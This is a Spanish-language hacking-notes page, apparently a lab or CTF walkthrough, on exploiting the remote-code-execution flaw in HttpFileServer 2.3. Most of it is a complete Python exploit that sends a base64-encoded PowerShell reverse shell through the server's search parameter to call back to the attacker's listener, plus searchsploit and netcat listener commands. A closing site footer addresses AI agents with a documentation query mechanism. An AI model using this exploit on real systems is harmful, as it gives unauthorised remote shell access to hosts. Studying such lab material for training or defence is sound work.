# HttpFileServer 2.3
Se descubre un servidor web HttpFileServer 2.3. Esta versión es vulnerable a ejecución remota de código (RCE).
### **Búsqueda de exploits**
Comando:
```bash
searchsploit -m windows/remote/49584.py
```
{% embed url="" %}
**Script personalizado de Python**
**Script personalizado de Python**
Modifica el script para incluir los siguientes parámetros:
* `LHOST` : tu IP local (VPN).
* `LPORT` : puerto local del oyente (p. ej., 4444).
* `RHOST`: IP de destino.
* `RPORT`: puerto del servicio vulnerable, por ejemplo 80.
```python
import base64
import os
import urllib.request
import urllib.parse
lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80
# Definir el comando que se escribirá en un archivo
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# Codificar el comando en formato base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nComando codificado en formato base64...")
# Definir el payload que se incluirá en la URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'
# Codificar el payload y enviar una solicitud HTTP GET
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nPayload codificado y solicitud HTTP GET enviada al objetivo...")
# Imprimir alguna información
print("/nImprimiendo información para depuración...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)
# Escuchar conexiones
print("/nEscuchando conexiones...")
os.system(f'nc -nlvp {lport}')
```
Configura tu máquina como oyente:
```bash
rlwrap nc -nlvp 4444
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/es/cms/httpfileserver-2.3-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
